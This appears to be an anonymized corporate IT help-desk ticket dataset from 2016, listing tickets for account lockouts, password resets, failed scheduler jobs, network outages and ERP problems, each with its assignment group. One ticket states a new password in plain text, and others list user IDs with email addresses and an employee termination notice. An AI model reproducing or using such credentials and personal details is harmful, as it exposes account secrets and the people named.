juhu jojfufn
ap logistics manager
from: -kds mmaster
sent: monday, august 08, 2016 1:11 pm
to: rxoynvgi ntgdsehl
cc: -kds sw11-services; johthryugftyson hu; kaguhxwo uoyipxqg
subject: re: order: 35872594
hi zadnryuinudin,
rqfhiong zkwfqagb team can only create sto. we are not authorized to create dn. plant\_298 warehouse persons can create dn for the sto 5018078764.
, is assigned to Assignment group: GRP\_6.Ticket with Short description: probleme mit drucker in lÃ¶we uacyltoe hxgayczeraum\reinhard krÃ¶ger, Description: probleme mit drucker in lÃ¶we uacyltoe hxgayczeraum\reinhard krÃ¶ger, is assigned to Assignment group: GRP\_24.Ticket with Short description: abended job in job\_scheduler: Job\_501, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_501 at 08/08/16 03:24:23, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook is not taking password, Description: outlook is not taking password, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_489, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_489 at 08/08/16 03:13:29, is assigned to Assignment group: GRP\_8.Ticket with Short description: telefon hÃ¶rer am apparat fertigung halle c defekt, Description: einlasten bei it-plant germany, is assigned to Assignment group: GRP\_33.Ticket with Short description: fw: an ''ethical moment'' from the office of ethics and compliance... link not opening, Description: hi\_x000D\_
\_x000D\_
this link is not opening.\_x000D\_
\_x000D\_
from: .ethics@company.com [mailto:.ethics@company.com] \_x000D\_
sent: wednesday, august 03, 2016 7:30 pm\_x000D\_
to: qfwijzbd gmkiatjs\_x000D\_
subject: an ''ethical moment'' from the office of ethics and compliance\_x000D\_
\_x000D\_
dear team: \_x000D\_
\_x000D\_
the office of ethics and compliance provides company employees with periodic ethical moments to remind you of your responsibility in practicing good ethical habits. \_x000D\_
\_x000D\_
click here to access the current ''ethical moment'' \_x000D\_
\_x000D\_
sethdyr hdtyr\_x000D\_
the office of ethics & compliance \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: now acces to the internet - webside allways offline, Description: \_x000D\_
\_x000D\_
received from: blktuiae.jzakfmhw@gmail.com\_x000D\_
\_x000D\_
fyi\_x000D\_
now access to the internet - webside allways offline\_x000D\_
\_x000D\_
till this weekend\_x000D\_
\_x000D\_
i am located in fÃ¼rth \_ germany\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: link to ethics ethical moment does not work., Description: i am not able to open the ethical moment link either in the e-mail nor from the collaboration\_platform site. i tried both the german and english language button., is assigned to Assignment group: GRP\_0.Ticket with Short description: upgrade from ms office 2010 64bit to office 2013 32bit, Description: for further using of the software cutview it is a need to install / upgrade to an 32 bit office system\_x000D\_
pls untinstall the current office 2010 64bit version and install the 2013 or 2016 32 bit version, is assigned to Assignment group: GRP\_0.Ticket with Short description: computer network connection lost , Description: computer network connection lost , is assigned to Assignment group: GRP\_31.Ticket with Short description: windows account locked and reset password , Description: windows account locked and reset password , is assigned to Assignment group: GRP\_0.Ticket with Short description: system monitor resolution problem, Description: not able to set resolution 1920 x 1080, is assigned to Assignment group: GRP\_19.Ticket with Short description: windows need to be repair, Description: windows need to be repair, is assigned to Assignment group: GRP\_31.Ticket with Short description: unable to open net weaver , Description: unable to open net weaver , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_2584, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2584 at 08/08/16 01:31:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: the calendar on my iphone is not showing any meetings, Description: name:srinfhyath
language:
browser:microsoft internet explorer
email:kflqpite.gbeoqsnc@gmail.com
customer number:
telephone:+91-
summary:hi, the calendar on my iphone is not showing any meetings, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_1 account locked , Description: erp SID\_1 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_481, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_481 at 08/08/16 01:26:28, is assigned to Assignment group: GRP\_5.Ticket with Short description: reset my password, Description: my SID\_51 system password has been locked due to too many failed attempts. please unlock my user id: gortyhlia and password. pls find attached error screenshot for your reference., is assigned to Assignment group: GRP\_2.Ticket with Short description: bobj repository issue - pls see the attachment for more details, Description: bobj repository issue - pls see the attachment for more details, is assigned to Assignment group: GRP\_14.Ticket with Short description: received 6500071831, Description:
received from: wqzarvhx.hfsojckw@gmail.com
help
crm 7611182942 is stuck, pls help to solve, , is assigned to Assignment group: GRP\_15.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account lokced , Description: erp SID\_34 account lokced , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to ethics, Description: not able to login to ethics, is assigned to Assignment group: GRP\_19.Ticket with Short description: laptop is over heating, left side usb and audio output plug also not working, system is slow, Description: laptop is over heating, left side usb and audio output plug also not working, system is slow, is assigned to Assignment group: GRP\_19.Ticket with Short description: the terminate action for kgarnzdo vkrqojyt has completed., Description: from: noscwdpm akiowsmp [mailto:system@hr\_tool.com] \_x000D\_
sent: monday, august 08, 2016 9:21 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:the terminate action for kgarnzdo vkrqojyt has completed.\_x000D\_
\_x000D\_
hello , \_x000D\_
\_x000D\_
a termination for kgarnzdo vkrqojyt, 11313060, effective 07/26/2016 has been approved.\_x000D\_
\_x000D\_
click the link to view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: can't login to skype ,indicate certificate expired , Description: skype for business software can't be used , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: erpæ— æ³•è¿›è¡Œé‡‡è´­ï¼ˆè½¬ç»™è´ºæ­£å¹³ï¼‰, Description: è¿›è¡Œé‡‡è´­æ—¶æ˜¾ç¤º"æ‰¾ä¸åˆ°å‘˜å·¥1111154833çš„æ•°æ®ï¼Œè¯·é€šçŸ¥ç³»ç»Ÿç®¡ç†å‘˜", is assigned to Assignment group: GRP\_30.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows log in password reset, Description: from: nkiopevt gufwhdky [mailto:nkiopevt.gufwhdky@gmail.com] \_x000D\_
sent: monday, august 08, 2016 7:44 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: wgpimkle kijhcwur\_eh\_x000D\_
subject: rad:windows log in password reset\_x000D\_
importance: high\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
i cannot log in to windows.\_x000D\_
please reset windows password reset.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: å¯†ç æ›´æ”¹åŽï¼Œoutlookæ— æ³•ç™»é™†, Description: å¯†ç æ›´æ”¹åŽï¼Œoutlookæ— æ³•ç™»é™†, is assigned to Assignment group: GRP\_30.Ticket with Short description: please reset my erp password., Description: please reset my erp password., is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage : south amerirtca(argentina) site is hard down since 05:04pm et on 08/07., Description: what type of outage: \_\_\_\_x\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_05:04pm et on 08/07\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_2114, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2114 at 08/07/16 17:33:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: network outage: usa site is hard down since 05:04 pm et on 08/07., Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_05:04 pm et on 08/07\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1640, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1640 at 08/07/16 16:57:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: snp\_heu\_5\_regen, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: snp\_heu\_5\_regen at 08/07/16 15:28:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_wly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_wly\_dp at 08/07/16 13:24:24, is assigned to Assignment group: GRP\_8.Ticket with Short description: lhqsm673 ( kashfyujqti jdcbiezx1 ) disk free on c:\ is now 14%, which is below the warning threshold (15%) , Description: lhqsm673 ( kashfyujqti jdcbiezx1 ) disk free on c:\ is now 14%, which is below the warning threshold (15%) out of total size 75.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: abended job in job\_scheduler: bwhrattr, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bwhrattr at 08/07/16 09:21:24, is assigned to Assignment group: GRP\_9.Ticket with Short description: HostName\_1238 ( south\_amerirtca, br -plm dsc file - production) wrong number of instances of process dsccache.exe, expected instan, Description: HostName\_1238 ( south\_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe, expected instances gte 1 but found 0, is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_1218(usa, va-plm web-file cache - production): dsccache.exe service is down since 1:08am est on 08/07/16, Description: HostName\_1218(usa, va-plm web-file cache - production): dsccache.exe service is down since 1:08am est on 08/07/16, is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, ex, Description: HostName\_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, expected instances gte 5 but found 4, is assigned to Assignment group: GRP\_14.Ticket with Short description: abended job in job\_scheduler: snp\_heu\_1\_regen, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: snp\_heu\_1\_regen at 08/07/16 06:13:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: HostName\_1042(bobj-ds-app & web - prod) : al\_engine.exe service is down., Description: HostName\_1042(bobj-ds-app & web - prod) : al\_engine.exe service is down (al\_engine.exe: wrong number of instances of process al\_engine.exe, expected 1 - found 0), is assigned to Assignment group: GRP\_14.Ticket with Short description: vip:2 log in proplems vip, Description: \_x000D\_
\_x000D\_
received from: oxrnpuys.oxizkwmq@gmail.com\_x000D\_
\_x000D\_
dear helpdesk.\_x000D\_
i was on vacation and briefly before i left i changed my password as required.\_x000D\_
now it seems that my main windows log in is still with the old password, while outlook sype etc. is already on the new password.\_x000D\_
\_x000D\_
also, the company main log on is not right.\_x000D\_
i usually log in with my company.com account, which is not appearing any more.\_x000D\_
\_x000D\_
what needs to be done.\_x000D\_
\_x000D\_
i am not and will not be at a company site ( network ) for another week.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bw jobs are failing because of the server issue, Description: bw jobs are failing because of the server issue. could you please check & confirm. please refer the screen shot sent in an email., is assigned to Assignment group: GRP\_14.Ticket with Short description: abended job in job\_scheduler: Job\_1305, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1305 at 08/07/16 01:24:27, is assigned to Assignment group: GRP\_9.Ticket with Short description: reboot tax\_interface dev servers HostName\_972 and HostName\_971 at 8/7/2016 1:00 am , Description: reboot tax\_interface dev servers HostName\_972 and HostName\_971 at 8/7/2016 1:00 am , is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1315, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1315 at 08/07/16 00:38:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_22\_erp\_wly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_22\_erp\_wly\_dp at 08/07/16 00:31:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1383, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1383 at 08/07/16 00:23:25, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: Job\_1142, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1142 at 08/07/16 00:08:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: abend batch SID\_51stat, Description: job name: SID\_51stat., is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: SID\_51\_start\_hana\_slt, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51\_start\_hana\_slt at 08/06/16 23:31:27, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: SID\_43cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_43cold at 08/06/16 23:17:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: recall: re:chg1144575 - approve, Description: \_x000D\_
\_x000D\_
received from: vkezwolt.fgnqzeai@gmail.com\_x000D\_
\_x000D\_
vkezwolt fgnqzeai would like to recall the message, "re:chg1144575 - approve".\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: abended job in job\_scheduler: SID\_51start, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51start at 08/06/16 22:56:25, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: SID\_46cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_46cold at 08/06/16 22:29:25, is assigned to Assignment group: GRP\_5.Ticket with Short description: erp SID\_34 is not available, Description: i connected through vpn to look up information and erp will not connect. i was able to connect to our local drive plant\_101 departments drive but not erp., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_47cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_47cold at 08/06/16 20:26:24, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_27hot, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_27hot at 08/06/16 20:21:25, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_51cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51cold at 08/06/16 20:15:25, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_79cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_79cold at 08/06/16 20:10:24, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_35cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_35cold at 08/06/16 19:55:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_3032, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3032 at 08/06/16 19:09:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: SID\_51stop, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51stop at 08/06/16 18:14:25, is assigned to Assignment group: GRP\_14.Ticket with Short description: abended job in job\_scheduler: Job\_1665, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1665 at 08/06/16 18:06:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: SID\_51\_stop\_hana\_slt, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51\_stop\_hana\_slt at 08/06/16 17:50:24, is assigned to Assignment group: GRP\_14.Ticket with Short description: abended job in job\_scheduler: Job\_1428, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1428 at 08/06/16 12:01:26, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_2078, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2078 at 08/06/16 10:11:26, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp is locked out need to unlock it, Description: erp is locked out need to unlock it, is assigned to Assignment group: GRP\_0.Ticket with Short description: a recently created variable fails to get opened in bobj analyser due to attached error message, Description: a recently created variable fails to get opened in bobj analyser due to attached error message, is assigned to Assignment group: GRP\_19.Ticket with Short description: vmax disk failed?on df-6a-d-0 is failed, Description: reporting\_tool alert:the monitor is the disk failed? on df-6a-d-0/000192604484/localhost is outside expected limits (true = true), is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: bkwin\_HostName\_768\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkwin\_HostName\_768\_inc at 08/06/16 07:46:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage: sao pollaurido-mercedes benz plant network is down since 6:45am et on 08/06/16. no backup circuit, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_6:45am on 08/06/16\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_global\_telecom\_1 #331206737 \_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: apo\_cif\_pds5\_am, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: apo\_cif\_pds5\_am at 08/06/16 07:17:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: apo\_cif\_pds5\_eu, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: apo\_cif\_pds5\_eu at 08/06/16 07:16:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1319, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1319 at 08/06/16 01:37:24, is assigned to Assignment group: GRP\_9.Ticket with Short description: issue with downloading mail, Description: \_x000D\_
\_x000D\_
received from: dwujlnhs.ecxvrpyl@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
i am unable to download my mails out of india office, even if i am connected with internet.\_x000D\_
kindly help in resolving the issue.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1141, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1141 at 08/05/16 23:45:28, is assigned to Assignment group: GRP\_9.Ticket with Short description: designation change required in outlook., Description: \_x000D\_
-------- original message --------\_x000D\_
from: bvlcarfe aztlkeifowndararajan <bvlcarfe.aztlkeif@gmail.com> \_x000D\_
date: 06/08/2016 07:21 (gmt+05:30) \_x000D\_
to: sridthshar herytur <antigvjx.zekluqim@gmail.com> \_x000D\_
subject: gopi - designation change required in outlook. \_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
recently i have been elevated as area manager â€“ sales from assistant manager â€“ sales.\_x000D\_
\_x000D\_
kindly help me out to make the change in outlook contact details and collaboration\_platform contact details.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_111 : average disk free on e:\ is now 10%, out of total size 750.0 gb, Description: noticed the alarm in reporting\_tool .\_x000D\_
which is below the warning threshold (15%) .\_x000D\_
need to check ., is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_dly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_dly\_dp at 08/05/16 22:03:24, is assigned to Assignment group: GRP\_8.Ticket with Short description: inquiry on transfer of contacts from phone to system, Description: inquiry on transfer of contacts from phone to system, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset, Description: erp password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp crm password reset, Description: erp crm password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: need password reset, Description: need password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: kirty india-two switches are down at 8:57 pm et on 08/05, Description: kirty india-two switches are down at 8:57 pm et on 08/05, is assigned to Assignment group: GRP\_8.Ticket with Short description: inquiry about lotus notes, Description: inquiry about lotus notes, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage : company-ap-chn-apac-company-2960-access-sw03 & sw04 are down at 7:07 pm et on 08/05., Description: apac : company-ap-chn-apac-company-2960-access-sw03 & sw04 are down at 7:07 pm et on 08/05., is assigned to Assignment group: GRP\_8.Ticket with Short description: apac-: robot HostName\_17 is inactive, Description: apac: - robot HostName\_17 is inactive, is assigned to Assignment group: GRP\_8.Ticket with Short description: password change, Description: \_x000D\_
\_x000D\_
received from: orjcgtyz.worylufs@gmail.com\_x000D\_
\_x000D\_
i changed my password today but not all access locations were updated. need to update all sites.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for xuqvaobxuy ntqkuocz using password\_management\_tool password reset., Description: change to new password: alabama4$, is assigned to Assignment group: GRP\_17.Ticket with Short description: update on inplant\_848069, Description: update on inplant\_848069, is assigned to Assignment group: GRP\_0.Ticket with Short description: hello. please see the highlighted field below, "tax code". this field is auto-populating and is inconsistent, Description: from: rushethryli h jacfgtykson [mailto:ckflmqoj.fojkrlmw@gmail.com]
sent: saturday, august 06, 2016 2:29 am
to: nwfodmhc exurcwkm
subject: po tax code field auto-populate
hello. please see the highlighted field below, "tax code". this field is auto-populating and is inconsistent.
is it possible to prevent from auto-populating? where do the po's pull this information from?
, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to connect to wireless, Description: unable to connect to wireless, is assigned to Assignment group: GRP\_0.Ticket with Short description: can you look and see why this received on line 20 and not line 10., Description: from: efgoawct vwniefok \_x000D\_
sent: saturday, august 06, 2016 12:08 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: smxoklny hbecskgl\_x000D\_
subject: rak: can you look at this i tried to receive line10 only and it received the 90kg on line 20\_x000D\_
\_x000D\_
can you look and see why this received on line 20 and not line 10.\_x000D\_
\_x000D\_
from: efgoawct vwniefok \_x000D\_
sent: friday, august 05, 2016 1:34 pm\_x000D\_
to: smxoklny hbecskgl\_x000D\_
subject: can you look at this i tried to receive line10 only and it received the 90kg on line 20\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: unlock account email in cell phone the users, Description: hello team,
could you please unlock account emails in cell phone the all users below:
gifpuwtb aykegsvr- id: bigrtdfatta (kelli.bigrtdfatta@company)
jlzsardp kumtcnwi- id: bactelephony\_softwarea (jlzsardp.kumtcnwi@gmail.com)
sbinuxja vtbegcho - id: nicolmghyu (sbinuxja.vtbegcho@gmail.com)
rudfgbens rtwjunior: juniowsrr (glzshbja.aoehpltm@gmail.com)
jgnxyahz cixzwuyf - id: zigioachstyac (jgnxyahz.cixzwuyf@gmail.com)
alexansxcddre olovxcdeira: olivesadia2 (qbtvmhau.zowemnca@gmail.com)
pollaurido robhyertyjo- id: robsdgerp (writfxsq.nwmaxpts@gmail.com)
note: changed the cell phones the user to a new.
a wifi and data plan from your service provider is required to setup email on your mobile device.
is this device company owned? y
is this a replacement of your old device? y
